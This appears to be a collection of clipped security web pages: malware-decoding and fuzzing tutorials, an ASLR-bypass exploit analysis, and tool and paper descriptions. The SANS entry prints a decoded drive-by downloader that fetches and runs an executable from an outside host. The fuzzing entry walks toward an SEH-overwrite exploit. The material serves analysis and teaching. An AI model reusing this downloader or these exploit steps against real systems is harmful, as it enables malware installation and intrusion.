::: Decoding Javascript - by Daniel Wesemann @ SANS ISC :::
Created:
9/8/2011 11:30:16 AM
Updated:
9/8/2011 11:30:16 AM
Author:

Tags:
JavaScript



Decoding Javascript 
This page was put together to accompany my SANS ISC diary entry on "Javascript Decoding" (see https://isc2.sans.org/diary.html?storyid=2268). If you haven't done so yet, please read the diary first. Another example that shows the Perl-Fu and Monkey Wrench method in action is available here 
Warning! The links on this page contain exploit code. Mind you, exploit code which has been changed very slightly and should not be harmful anymore, but it *is* exploit code, and as such it might possibly trigger your anti-virus. What I'm aiming at: Work through the examples on this page from a LAB PC which is not connected to your production network. And don't complain to me or SANS ISC if clicking on anything on this page makes your computer turn out scrambled instead of sunny side up. 
The Starting Point 
The original, encoded exploit page was submitted to us by ISC reader Andrew on Feb 15. The file came from mm-dot-4755-dot-com, and contained "odd" encoded JavaScript as follows:

 
Download the original file if you want to reproduce the next steps on your own! Do a right-click "save link as", or you'll end up with an empty page. The "function" within the file was renamed to "funkyon" to keep it from triggering. Note:You'll have to change "funkyon" back to "function" in the file (once downloaded) if you want to play with the file! 
Yes, this is quite easy to decode. Don't be disappointed. The purpose of this write-up is not to unravel the mother of all Javascripts, but rather to show the four techniques in action, so that you can use them by yourself to decode the more complicated cases which definitely ARE out there on the wild wide web. 
#1 - The Lazy Method 
From the explanation of the method in the diary, you know what to do: Search for all occurences of "eval" and "document.write" and substitute an "alert" in their stead. The adapted file using this method is here, you can right-click save-link-as to get a look at the source, our you can simply click to see the pop-up with the decoded Javascript. 
#2 - The Tom Liston Method 
In this case, we are replacing all occurences of "eval" and "document.write" with a call to a function that we add which wraps the output into a textarea. The adapted file is available here, and again you can left-click to see it working, or right-click-and-save to look at the source. Let me again repeat the warning, though: By using this method, you are running hostile code inside your browser. If the bad guy suspects you might be using this analysis method, it is _easy_ for him/her to break out of this textarea and make the code run in your browser. 
#3 - The Perl-Fu Method 
This Javascript function is not all that hard to understand. Function "J" just performs a single operation on each of the ASCII codes passed to it. I've put a red box around this function in the "Notepad" image above: "m^66". That little "^" character denotes an exclusive-or (XOR) operation. If you are not familiar with XOR and its properties, I suggest you take a short detour via Wikipedia before reading on. 
Basically, what we have to accomplish in Perl is a function which iterates over this HTML file, and performs the "XOR 66" operation on all the values passed to the J() function. 
cat example.htm | perl -pe 's/\+J\((\d+)\)/chr($1^66)/ge' | more 
does the trick. Not for the faint-hearted if you don't speak Perl, but of sublime beauty if you do :-). The above Perl function searches for all occurences of J(nnn) with nnn denoting a number, and replaces this stringlet with the char whose ascii code is the result of the operation (nnn XOR 66). The result is quite similar to what we already got from the two methods above:
var J=function(m){return String.fromCharCode(m^66)};eval(J(52)ar url,path;url="http://cool.47555.om/1xxxx.exe";path="C:\\boot.exe";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C776-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ab="Adodb.";var cd="Stream";var g=1;var as=ado.createobject(ab+cd,"");var h=1;xml.Open("GET",url,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(path,2);as.close();var shell=ado.createobject("Shell.Application","");shell.ShellExecute(path,"","","open",0);}catch(e){ };+''); 
#4 - The Monkey Wrench Method 
For Spidermonkey to be able to parse the file, we have to strip out everything HTML and leave only bare JavaScript (yes, the <script> headers have to go as well). Also, remember that Spidermonkey doesn't know what to do with eval() and document.write() calls, so replace them with a simple "print()". You can download my edited file here, do a right-click save-as again - if asked whether you want to RUN the download, I suggest you say "NO" :). This example.js file can be fed into Spidermonkey thusly: 
daniel@debian$ js example.js 
and, lo and behold, will again return the same decoded JavaScript as above. Note that instead of Spidermonkey, you can also use Rhino, with the exact same method and result. An anonymous reader has also suggested that instead of tediously replacing every document.write with a print, it is way easier and faster to define a document object whose write method is "print". To try this approach, add document={write:print} as first line of the script to be decoded - works like a charm. 

﻿http://kienmanowar.wordpress.com/2011/01/08/a-method-for-detecting-obfuscated-calls-in-malicious-binaries/ 
A Method for Detecting Obfuscated Calls in Malicious Binaries « 0day in {REA_TEAM}
Created:
1/8/2011 1:07:00 PM
Updated:
1/8/2011 1:07:41 PM
Author:

Tags:
Malware-analysis Tutorials Obfuscation


A Method for Detecting Obfuscated Calls in Malicious Binaries January 8, 2011
Filed under: A Method for Detecting Obfuscated Calls in Malicious Binaries,Uncategorized — kienmanowar @ 9:58 am
A Method for Detecting Obfuscated Calls in Malicious Binaries
Author : Arun Lakhotia + Eric Uday Kumar + and Michael Venable
Description Information about calls to the operating system (or kernel libraries) made by a binary executable may be used to determine whether the binary is malicious. Being aware of this approach, malicious programmers hide this information by making such calls without using the call instruction. For instance, the call addr instruction may be replaced by two push instructions and a ret instruction, the first push pushes the address of instruction after the ret instruction, and the second push pushes the address addr. The code may be further obfuscated by spreading the three instructions and by splitting each instruction into multiple instructions. This work presents a method to statically detect obfuscated calls in binary code. The idea is to use abstract interpretation to detect where the normal call-ret convention is violated. These violations can be detected by what is called an abstract stack graph. An abstract stack graph is a concise representation of all potential abstract stacks at every point in a program. An abstract stack is used to associate each element in the stack to the instruction that pushes the element. An algorithm for constructing the abstract stack graph is also presented. Methods for using the abstract stack graph are shown to detect eight different obfuscations. The technique is demonstrated by implementing a prototype tool called DOC (Detector for Obfuscated Calls). 
﻿https://github.com/A-mIn3/WINspect 
A-mIn3/WINspect
Created:
9/4/2017 9:19:36 AM
Updated:
9/4/2017 9:19:36 AM
Author:
wishi
Tags:





Description
  
       WINspect is part of a larger project for auditing different areas of Windows environments.         
    It focuses on enumerating different parts of a Windows machine aiming to identify security weaknesses       
    and point to components that need further hardening. The main targets for the current version are 
    domain-joined windows machines. Howerver, some of the functions still apply for standalone workstations.

 
Features
This current version of the script supports the following features :
· Checking for installed security products.
· Enumerating world-exposed local filesystem shares.
· Enumerating domain users and groups with local group membership.
· Enumerating registry autoruns.
· Enumerating local services that are configurable by Authenticated Users group members.
· Enumerating local services for which corresponding binary is writable by Authenticated Users group members.
· Enumerating non-system32 Windows Hosted Services and their associated DLLs.
· Enumerating local services with unquoted path vulnerability.
· Enumerating non-system scheduled tasks.
· Checking for DLL hijackability.
· Checking for User Account Control settings.
· Checking for unattended installs leftovers.
Supported Powershell Version
This version was tested in a powershell v2.0 environment.
Contributions
You are welcome to contribute and suggeste any improvements. If you want to point to an issue, Please file an issue.
Direct contributions
Fork the repository && File a pull request && You are good to go ;)
Need Help
If you have questions or need further guidance on using the tool , please file an issue.
License
This project is licensed under The GPL terms.

﻿http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html 
ASLR Bypass Apocalypse in Lately Zero-Day Exploits | FireEye Blog
Created:
10/16/2013 5:30:57 AM
Updated:
10/16/2013 5:30:57 AM
Author:

Tags:
aslr analysis vulnerability


ASLR Bypass Apocalypse in Lately Zero-Day Exploits
October 15, 2013 | By Xiaobo Chen | Exploits, Targeted Attack, Technical, Vulnerabilities | 
Comments
0
.
.
.
ASLR (Address Space Layout Randomization) is one of the most effective protection mechanisms in the modern operation system. However, there were many innovative ASLR bypass techniques used in recent APT attacks. In this blog, we are going to highlight some interesting techniques that we have tracked in the past year.
Non-ASLR modules
Loading a non-ASLR module is the easiest and most popular way to defeat ASLR protection. There are two popular non-ASLR modules used in IE 0day exploits, including the recent CVE-2013-3893.
MSVCR71.DLL, JRE 1.6.x shipped an old version of the Microsoft Visual C Runtime Library which was not compiled with the /DYNAMICBASE option. By default, this DLL will be loaded into the IE process at a fixed location in following OS and IE combination:
Windows 7 and Internet explorer 8
Windows 7 and Internet explorer 9
HXDS.DLL, shipped from MS Office 2010/2007, is not compiled with ASLR. This technique was first described in this link, and is now the most frequently used ASLR bypass for IE 8/9 on Windows 7. This DLL will be loaded when the browser loads a page with ‘ms-help://’ in the URL.
The following 0day exploits used at least one of these techniques to bypass ASLR: CVE-2013-3893, CVE2013-1347, CVE-2012-4969, CVE-2012-4792.
Limitations
The non-ASLR module technique requires that IE 8 and IE 9 be running with old software such as JRE 1.6, Office 2007/2010. Upgrading to the latest java/office can prevent this type of attack.
Modify the BSTR length/null terminator
This first appears in the 2010 Pwn2Own IE 8 exploit by Peter Vreugdenhil. The technique only applies to specific types of vulnerabilities that can overwrite memory, such as buffer overflow, arbitrary memory write, and increasing/decreasing the content of a memory pointer.
The arbitrary memory write does not directly control EIP. Most of the time, the exploit overwrites some important program data, like function pointers, to achieve code execution. The good thing about these types of vulnerabilities is that they can corrupt the length of a BSTR such that using the BSTR can access memory outside of its original boundaries. Such accesses may disclose memory addresses that can be used to pinpoint libraries suitable for ROP. Once the exploit has bypassed ASLR in this way, it may then use the same memory corruption bug to control EIP.
Few vulnerabilities can be used to modify the BSTR length. For example, some vulnerabilities can only increase/decrease memory pointers in one or two bytes. In this case, the attacker can chose to modify the null terminator of a BSTR to concatenate the string with the next object. Subsequent accesses to the modified BSTR will have concatenated object’s content as part of BSTR, within which we can usually find information related to DLL base addresses.
CVE-2013-0640
The Adobe XFA 0day exploit uses this technique to find the AcroForm.api base address and builds a ROP chain dynamically to bypass ASLR and DEP. With this vulnerability, the exploit can decrease a controllable memory pointer before calling the function pointer from its vftable:



Consider the following memory layout before the DEC operation:
[string][null][non-null data][object]
After the DEC operation (in my tests, it is decreased twice) the memory will become:
[string][\xfe][non-null data][object]
For further details, please refer to the technique write-up from the immunityinc’s blog.
Limitations
This technique usually requires multiple writes to leak the necessary info, and the exploit writer has to carefully craft the heap layout to ensure that the ‘length’ field is corrupted instead of other objects in memory. Since IE 9, Microsoft has used Nozzle to prevent heap spraying/fengshui, so sometimes you have to use the VBArray technique to craft the heap layout.
Modify the Array object
The array object length modification is similar to the BSTR length modification: they both require a certain class of “user-friendly” vulnerabilities. But the better part of this technique is that once the attacker is able to change length, he will be also able to arbitrarily read/write memory. Basically, it can take control of the whole process flow and achieve code execution. Here is the list of known Zero-Day exploits using this technique:
CVE-2013-0634
Adobe Flash Player regex handling buffer overflow. The attacker choose to overwrite the length of a Vector.<Number> object, and then read more memory content to get base address of flash.ocx.
1. Set up a continuous memory layout by allocating the following objects.

2. Free the <Number> object at index 1 of the above objects.
obj[1] = null;
3. Allocate the new RegExp object. This allocation will be reusing memory in the obj[1] position.
boom = "(?i)()()(?-i)||||||||||||||||||||||||";

var trigger = new RegExp(boom, "");
Later on, the malformed expression will overwrite the length of a Vector.<Number> object in obj[2] to make it bigger. With a corrupted size, so the attacker could use obj[2] to read/write memory in a huge region to locate the flash.ocx base address and overwrite a vftable to execute the payload.
CVE-2013-3613
IE CBlockContainerBlock object use-after-free. In this particular exploit, the attacker used a similar, but more sophisticated one.
1) Basically, this vulnerability is able to modify the arbitrary memory content by an OR instruction. This instruction is something like:
or dword ptr [esi+8],20000h
2) First, the attacker sprays the target heap memory with Vector.<uint> objects.

After the spray, those objects will be stored aligned in a stable memory address. For example:

The first dword, 0x03f0, is the length of the Vector.<uint> object, and the yellow marked values correspond to the values in above spray code.
If we set the esi+8 point to 0x03f0 the size will become to 0x0203f0 after the OR operation, which is much bigger than the original.
Once the attacker had a much bigger memory access range, he chose to change the next object length to 0x3FFFFFF0.


Thus, the attacker can access the whole memory space in the IE process and ASLR will be useless since now he can retrieve the entire DLL images for kernel32/NTDLL directly from memory. By dynamically searching for stack pivot gadgets in the text section and locating the ZwProtectVirtualMemory native API address from the IAT, the attacker can construct a ROP chain to change the memory attribute and bypass the DEP.

3) By crafting the memory layout, the attacker also allocates some Vector.<object> which contains the flash.Media.Sound() object. The attacker uses the corrupted Vector.<uint> object to search the sound object in memory and overwrite it’s vftable to point to ROP payload and shellcode.
CVE-2013-1690
Firefox DocumentViewerImpl object use-after-free. This vulnerability allows the user to write a word value 0×0001 into an arbitrary memory location.

In above code, all the variables that start with ‘m’ are read from the user-controlled object. If the user can set the object to meet the condition in the second ‘if’ statement, it will force the code path into the setImageAnimationMode() call, where the memory write will be triggered. Inside the setImageAnimationMode(), the code looks like:

In this exploit, the attacker tries to use ArrayBuffer to craft the heap layout. In the following code, each ArrayBuffer element for var2 has the original size 0xff004.


After triggering the vulnerability, the size will become 0x010ff004, and the attacker can also locate this ArrayBuffer by comparing the byteLength in Javascript. Then, he can read/write memory with the corrupted ArrayBuffer. In this case, the attacker choose to disclosure the NTDLL base address from SharedUserData (0x7ffe0300), and manually hardcoded the offset to construct the ROP payload.
CVE-2013-1493
JAVA CMM integer overflow. This vulnerability allows overwriting the array length field in memory. During exploitation, the array length actually expands to 0x7fffffff, and the attacker can search for the securityManager object in memory and null it to break the sandbox. This technique is much better than overwriting function pointers and dealing with ASLR/DEP to get native code execution.
The Array object modification technique is much better than other techniques. For the flash action script vector technique, there are no heap spray mitigations at all. As long as you have a memory write vulnerability, it is easily implemented.
Summary
We list all recent APT 0days and what bypass techniques they used in following table:

Conclusion
ASLR bypassing has become more and more common in Zero-Day attacks. We have seen previous IE 0day exploits using Microsoft office non-ASLR DLL to bypass it, and Microsoft also did some mitigation in their latest OS and browser to prevent use of the non-ASLR module to defeat ASLR. Therefore, the advanced exploit technique will be essential since the old technique will no longer work or can be easily detected. But for those specific vulnerabilities which allow writing memory, combining the Vector.<uint> and Vector.<object> is more reliable and flexible. Even with just one shot, it is still easy to extend the exploit from writing a single byte to read/writing up to gigabytes and it works for the latest OS/browser regardless of the OS/Application/Language version.
Lots of researchers have published their research on ASLR bypassing, such as Dion Blazakis’s JIT spray and Yuyang’s LdrHotPatchRoutine technique, but so far we haven’t seen any in-the-wild 0day exploit leveraging them. The reason could be that these techniques are generic approaches to defeating ASLR, and usually they are quickly fixed once public.
But for those vulnerability specific issues, there is no generic way to fix them. We believe that in the future we will see more and more ZeroDay exploits using similar or more advanced techniques; we may need new mitigations in our OSs and security products to defeat them.
Thanks again to Dan Caselden and Yichong Lin for their help with this analysis.


﻿http://5x5sec.blogspot.it/2012/07/sulley-and-ronin-fuzzing-while.html 
5x5 security: Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver
Created:
8/1/2012 9:47:04 AM
Updated:
8/1/2012 9:47:04 AM
Author:

Tags:
Debugging Exploit fuzzing


Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver
 
 
Sulley and Ronin fuzzing while debugging with Immunity of allmediaserver




As I mentioned in the previous article that I wanted to do a write up on using different fuzzers and debuggers for the allmediaserver. If you haven't read the previous article you might want to check it out.  http://5x5sec.blogspot.com/2012/07/looking-into-exploitation-of.html . Ok lets dive in and see what we get.



Fuzzing with Sulley
First things first you should check out the piece about getting sulley setup. http://5x5sec.blogspot.com/2012/02/basic-sulley-fuzzing-with-linux-host.html . If you are going to run the fuzzing from a Linux box pay close attention to the section around "sulley/pedrpc.py diff" . This piece is crucial to gettting the fuzzing running from linux to windows. Once you have Sulley installed lets set up the fuzzing files.



This is going to be a simple fuzz script that is just going to do a simple HTTP fuzzing. The reason is that I haven't dove into the communication protocol that surrounds the allmediaserver but I am just taking a stab and see what happens.



The Fuzz file that I am using which I names  fuzz-all.py is this.



from sulley import *

from requests import httpall



sess  = sessions.session(session_filename="audits/http.session")

target = sessions.target("192.168.22.142", 888)

target.netmon = pedrpc.client("192.168.22.142", 26001)

target.procmon = pedrpc.client("192.168.22.142", 26002)

target.procmon_options = { "proc_name" : "mediaserver.exe" }



sess.add_target(target)

sess.connect(sess.root, s_get("HTTP"))

sess.fuzz()


Let's look and see that we are going to fuzz remote host 192.168.22.142, which you will change to be YOUR host, port 888 which the server is listening on. Also you can see that the netmon and procmon are listening on 26001 26002 which sulley will also connect to. You can also see that I am importing from httpall. This is a file that I created and that I placed in the ./requests folder named httpall.py.



 from sulley import *



s_initialize("HTTP")

s_group("verbs", values=["GET"])

if s_block_start("body", group="verbs"):

    s_string("AAAAA")

    s_static("\r\n\r\n")

s_block_end("body")


Great, now we have all the pieces to the puzzle from the remote side now lets get things fired up on the windows side.  The two pieces that you need to get running are the process monitor and the network monitor.  First make sure that the allmediaserver is running you can do a "netstat -an" and look for 888. Once you have verified that the server is indeed running, open a command prompt and navigate to the sulley install directory and issue:



python process_monitor.py -c c:\f.crash -p "mediaserver.exe"


This will start up the process monitor for the mediaserver.exe program. The next piece is that you need to start the network monitor by doing the same thing , open a command prompt and navigate to the sulley install dir then issue:



python network_monitor.py -d 0 -f "port 888" -P c:\sulley
You will probably need to change a few things such as the device that you are listening on and the location that you are going to store your pcaps. I was in a rush so I just used the default sulley dir.



Ok lets fuzz. From the remote system just issue "python fuzz-all.py" and you should start to see the magic happen.






Once we start the fuzzing we really don't have to wait too long and we see a break with an access violation!






Let's take a look at the web interface of sulley and see what we get.






As you can see we have the crash. As you can see that when we sent 6494 bytes the server crashed. If we click on the test case # we will get a more detailed view of the case of the crash.







As you can see we have an access violation in which we have ECX and EIP overwrite. CRASH!!



Fuzzing with Ronin
To get started with Ronin you need to get it installed. Since it isn't installed by default on backtrack or other distro's you will need to follow one of the guides here. http://ronin-ruby.github.com/docs/ . Why did I choose Ronin? Why not! So I am going to assume that you have gotten Ronin installed and are ready to get started. First lets make sure the allmediaserver is started as before and use immunity to attach to the mediaserver process with a ctrl+f1. Once verified we want to start fuzzing. Since I am just going to do a simple fuzz I am just going to fire up a pcap to watch the traffic.  I did this by:



tshark -i eth2 -x port 888
 Now that we have the listening going lets set the fuzzing. Again this is just a simple fuzz so I don't need anything fancy so I am going to set up a request file and call it request. Inside this file I am going to add a phrase to fuzz. This could be anything such as a GET PUSH , etc . I am simple going to use:



http://hi
now that I have the request file set I am going to start the fuzzing. This is simple by issuing:



./bin/ronin-fuzzer -i request -r hi:A*1-2000 -t 192.168.22.142:888
What I am going to do with this is take the request file and substitute the phrase "hi" with A's from 1 to 2000 of them. The Fuzzer is very fast and was having some issues so I had to make a change to the lib/ronin/ui/cli/commands/fuzzer.rb file and add a sleep time "sleep(2)" prior to the connection to slow the requests.

          def fuzz_network(string,index)

            sleep(2)

            print_debug "Connecting to #{@host}:#{@port} ..."




  This is what you will start to see.






 After some time you will come to this and we get a crash!






 As you can see that we have a crash at 1064. Why not 1072? Well from the template that we used you have to account for the extra "http://" at the beginning. Adding these up you get your 1072, and we are inline with exactly what we had in the previous post. I really like the simple fuzzer portion of Ronin  and could have easily created a more valid request file to be fuzzed but since I was going for speed and luck this is where I started. Now that we have fuzzed and got a break we can start to what is happening on the client.



Debugging with Immunity debugger
Now lets take a look at what has been happening on the client. As mentioned during the Ronin fuzzing you should have attached the Immunity debugger to the mediaserver.exe process and hit the run button. You should have started with something similiar to this.








Once we started to fuzz the using Ronin and we get a crash we should end with something similar to this "Access Violation" nice!






So we can see that we have an access violation and that we have "41414139" as you can see this is because it is trying to do "EDX-8" which gives us the "41414139". This also shows us that we have EDX overwrite but this is not as similar as the Sulley fuzz. lets give it a shift + f9 to pass the exception and we end up here with the ECX overwrite and EIP at "41414141". While we are here lets hit alt-S and take a look at the SEH chain and we can see "41414141".Nice.






Let's continue forward and throw a pattern at the server. First, lets restart the server then reattach the debugger to the process. Once this is set we can send the same pattern that we used in the previous post. We send the pattern and we get the pattern. This is where the magic happens.








We are going to use Mona.py . I suggest giving this project a look over since it makes everything so much easier. http://redmine.corelan.be/projects/mona . Great project. So I will assume that you have taken a moment to read the project and have mona installed. Since we are at the crash and we can see that we see the pattern in the SEH chain , we want to find the location of the offset. Mona does this easily by issuing "!mona findmsp".






As you can see it gives a plethora of information inlcuding the offset "1072" that we have the SEH overwrite and how much after we have overwritten. This matches up with what we have found doing the Ronin fuzzing. So let's test that out and send the A's B's and C's to see.



 


Again, reset the service attach the debugger and send the data. We get the crash and we look at the SEH chain and we see our "42424242" and "43434343"








Now I want to do one more thing with mona.py to demonstrate how awesome it is.  let's issue "!mona seh" . This will yield lots of valid pop pop ret  instructions that we can use for the construction of our exploit. So pick one that you find and give it a try. We will do the same again as our previous post and send A's then "\xcc" for the int3 and then the pop pop ret. We send the data and we get..INT3!!








 Now we are at the exploitation phase that you can choose to do what you want sending calc.exe or instructions to do something but that is up to you.  In the next post I will discuss using Ronin to exploit this service. Hopefully this time the post gets posted since this is the second write of this since I lost have for some reason:(  Thanks again to all the developers of the tools and techniques that I have demonstrated.

 
references:
http://ronin-ruby.github.com/

http://redmine.corelan.be/projects/mona

https://github.com/OpenRCE/sulley

http://immunityinc.com/products-immdbg.shtml

﻿http://www.devttys0.com/2014/10/a-code-signature-plugin-for-ida/ 
A Code Signature Plugin for IDA - /dev/ttyS0
Created:
10/13/2014 1:56:21 PM
Updated:
10/13/2014 1:56:21 PM
Author:

Tags:
iDA plugin code-checks similarity


A Code Signature Plugin for IDA
When reversing embedded code, it is often the case that completely different devices are built around a common code base, either due to code re-use by the vendor, or through the use of third-party software; this is especially true of devices running the same Real Time Operating System.
For example, I have two different routers, manufactured by two different vendors, and released about four years apart. Both devices run VxWorks, but the firmware for the older device included a symbol table, making it trivial to identify most of the original function names:


VxWorks Symbol Table
The older device with the symbol table is running VxWorks 5.5, while the newer device (with no symbol table) runs VxWorks 5.5.1, so they are pretty close in terms of their OS version. However, even simple functions contain a very different sequence of instructions when compared between the two firmwares:


strcpy from the VxWorks 5.5 firmware


strcpy from the VxWorks 5.5.1 firmware
Of course, binary variations can be the result of any number of things, including differences in the compiler version and changes to the build options.
Despite this, it would still be quite useful to take the known symbol names from the older device, particularly those of standard and common subroutines, and apply them to the newer device in order to facilitate the reversing of higher level functionality.
Existing Solutions
The IDB_2_PAT plugin will generate FLIRT signatures from the IDB with a symbol table; IDA’s FLIRT analysis can then be used to identify functions in the newer, symbol-less IDB:


Functions identified by IDA FLIRT analysis
With the FLIRT signatures, IDA was able to identify 164 functions, some of which, like os_memcpy and udp_cksum , are quite useful.
Of course, FLIRT signatures will only identify functions that start with the same sequence of instructions, and many of the standard POSIX functions, such as printf and strcmp , were not found. 
Because FLIRT signatures only examine the first 32 bytes of a function, there are also many signature collisions between similar functions, which can be problematic:
;--------- (delete these lines to allow sigmake to read this file)
; add '+' at the start of a line to select a module
; add '-' if you are not sure about the selection
; do nothing if you want to exclude all modules

div_r                                               54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF
ldiv_r                                              54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF

proc_sname                                          00 0000 0000102127BDFEF803E0000827BD0108................................
proc_file                                           00 0000 0000102127BDFEF803E0000827BD0108................................

atoi                                                00 0000 000028250809F52A2406000A........................................
atol                                                00 0000 000028250809F52A2406000A........................................

PinChecksum                                         FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum1                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum2                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD

_d_cmp                                              FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF
_d_cmpe                                             FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF

_f_cmp                                              A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824
_f_cmpe                                             A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824

m_get                                               00 0000 00803021000610423C04803D8C8494F0................................
m_gethdr                                            00 0000 00803021000610423C04803D8C8494F0................................
m_getclr                                            00 0000 00803021000610423C04803D8C8494F0................................

...
Alternative Signature Approaches
Examining the functions between the two VxWorks firmwares shows that there are a small fraction (about 3%) of unique subroutines that are identical between both firmware images:


bcopy from the VxWorks 5.5 firmware


bcopy from the VxWorks 5.5.1 firmware
Signatures can be created over the entirety of these functions in order to generate more accurate fingerprints, without the possibility of collisions due to similar or identical function prologues in unrelated subroutines.
Still other functions are very nearly identical, as exemplified by the following functions which only differ by a couple of instructions:


A function from the VxWorks 5.5 firmware


The same function, from the VxWorks 5.5.1 firmware
A simple way to identify these similar, but not identical, functions in an architecture independent manner is to generate “fuzzy” signatures based only on easily identifiable actions, such as memory accesses, references to constant values, and function calls. 
In the above function for example, we can see that there are six code blocks, one which references the immediate value 0xFFFFFFFF , one which has a single function call, and one which contains two function calls. As long as no other functions match this “fuzzy” signature, we can use these unique metrics to identify this same function in other IDBs. Although this type of matching can catch functions that would otherwise go unidentified, it also has a higher propensity for false positives.
A bit more reliable metric is unique string references, such as this one in gethostbyname :


gethostbyname string xref
Likewise, unique constants can also be used for function identification, particularly subroutines related to crypto or hashing:


Constant 0x41C64E6D used by rand
Even identifying functions whose names we don’t know can be useful. Consider the following code snippet in sub_801A50E0 , from the VxWorks 5.5 firmware:


Function calls from sub_801A50E0
This unidentified function calls memset , strcpy , atoi , and sprintf ; hence, if we can find this same function in other VxWorks firmware, we can identify these standard functions by association.
Alternative Signatures in Practice
I wrote an IDA plugin to automate these signature techniques and apply them to the VxWorks 5.5.1 firmware:


Output from the Rizzo plugin
This identified nearly 1,300 functions, and although some of those are probably incorrect, it was quite successful in locating many standard POSIX functions:


Functions identified by Rizzo
Like any such automated process, this is sure to produce some false positives/negatives, but having used it successfully against several RTOS firmwares now, I’m quite happy with it (read: “it works for me”!).
﻿http://msecdbg.codeplex.com/ 
!exploitable Crash Analyzer - MSEC Debugger Extensions - Home
Created:
6/18/2009 10:45:13 PM
Updated:
6/18/2009 10:45:23 PM
Author:

Tags:
Debugging windows security


!exploitable Crash Analyzer - MSEC Debugger Extensions


CodePlex Home 
Register | Sign In | CodePlex Home


Home 

Downloads 

Discussions 

Issue Tracker 

Source Code 

Stats 

People 

License 
Close
 RSS 
· All Project Updates
· Discussions
· Issue Tracker
· Releases
· Reviews
· Source Code
· Wiki
 RSS 

View All Comments | Print View | Page Info | Change History (all pages)


Home
Project Description
!exploitable (pronounced “bang exploitable”) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment. The tool first creates hashes to determine the uniqueness of a crash and then assigns an exploitability rating to the crash: Exploitable, Probably Exploitable, Probably Not Exploitable, or Unknown. There is more detailed information about the tool in the following .pptx file or at http://www.microsoft.com/security/msec. Additonally, see the blog post at http://blogs.technet.com/srd/archive/2009/04/08/the-history-of-the-exploitable-crash-analyzer.aspx.

This tool was created by the Microsoft Security Engineering Center (MSEC) Security Science Team. For more information on MSEC and the Security Science team, please visit http://www.microsoft.com/security/msec. To see what's being worked on presently, visit the Security Research and Development blog at http://blogs.technet.com/srd/.

New bits posted on 6/17, changelog below:

1.0.1 Updates:

A bug that resulted in overtainting H or L registers has been fixed.
Initial External Release: March, 2009

1.0.2 Updates:

When loading user mode mini-dumps, the Gather rule now correctly sets the stack context.

1.0.3 Updates:

New state and gather functionality and analyze rules to identify exceptions where the faulting address is on the stack.
Hashes are fixed at 32 bit display (8 hex characters) and code locations are fixed at 64 bit display (16 hex characters).
Added support for the REP SCAS instruction in the disassembler
Fixed a serious bug in the wildcard match function, which would result in anything that matched up to the first wildcard matching the entire string
Fixed a bug in which the destination pointer registers were not being set to the tainted value set for Write AVs that required taint analysis
Fixed bugs in the distinction between source and data registers for taint tracking in some rep instructions

1.0.4 Updates:

Fixed a reporting and analysis bug, in which we change the faulting instruction as well as the invoking function when we skip excluded stack frames

1.0.5 Updates:

Updates to the excluded symbols list
Handle POP instructions that pop to memory
Handle PUSH instructions that push to memory
Treat POP instructions to memory the same as MOV instructions to memory

1.0.6 Updates:

External Release: June, 2009


﻿http://webblaze.cs.berkeley.edu/2010/kudzu/ 
A Symbolic Execution Framework for JavaScript - Web Security Research at Berkeley
Created:
12/1/2011 4:29:17 PM
Updated:
12/1/2011 4:29:17 PM
Author:

Tags:
symbolic exec


A Symbolic Execution Framework for JavaScript

A Symbolic Execution Framework For JavaScript [BibTex]

Prateek Saxena, Devdatta Akhawe, Steve Hanna, Feng Mao Stephen McCamant and Dawn Song, 

In Proc. of the 31st IEEE Symposium on Security and Privacy (Oakland 2010)

Abstract
As AJAX applications gain popularity, client-side JavaScript code is becoming increasingly complex. However, few automated vulnerability analysis tools for JavaScript exist. In this paper, we describe the first system for exploring the execution space of JavaScript code using symbolic execution. To handle JavaScript codeâ€TMs complex use of string operations, we design a new language of string constraints and implement a solver for it. We build an automatic end-to-end tool, Kudzu, and apply it to the problem of finding client-side code injection vulnerabilities. In experiments on 18 live web applications, Kudzu automatically discovers 2 previously unknown vulnerabilities and 9 more than that were previously found only with a manually-constructed test suite. 
Kaluza String Solver
Kaluza, a solver for strings, that we created as part of the project is described here, and is also available as an online demo.


﻿http://labs.ripe.net/Members/emileaben/6to4-how-bad-is-it-really 
6to4 - How Bad is it Really? — RIPE Labs
Created:
12/3/2010 7:03:23 PM
Updated:
12/3/2010 7:03:42 PM
Author:

Tags:
network-security ipv6


6to4 - How Bad is it Really?
— filed under: statistics, measurements, ipv6
Emile Aben — 01 December 2010 12:10 
Contributors: Tore Anderson
At the recent RIPE 61 meeting in Rome and at earlier meetings, we heard that connectivity over 6to4 is not very dependable, which hampers IPv6 deployment. I wondered how bad it really is and started measuring it. This article describes what I measured and shows the results. Spoiler: It's pretty bad.
Introduction
In the transition from IPv4 to IPv6, the preferred solutions for network endpoints is to have both, native IPv4 and IPv6 connectivity (i.e. dual-stack). If a site cannot get native IPv6 connectivity, the IPv4 network endpoints can chose from a number of conversion technologies to connect to the IPv6 Internet. Our IPv6 measurements at end-users and DNS resolvers suggest that the most commonly used conversion technologies are: 6to4, Teredo, and tunnel-brokers. At RIPE 61 and previous RIPE meetings we heard that 6to4 connectivity is quite often broken. We were interested to find out how broken it really is.
Measurement Results
In Figure 1 below you can see the percentage of 6to4 connections to dual-stack and IPv6-only objects on our measurement webserver that fail, binned per day. See footnote [1] for the methodology of these measurements.
 

Figure 1: Failure rate of 6to4 connections over time
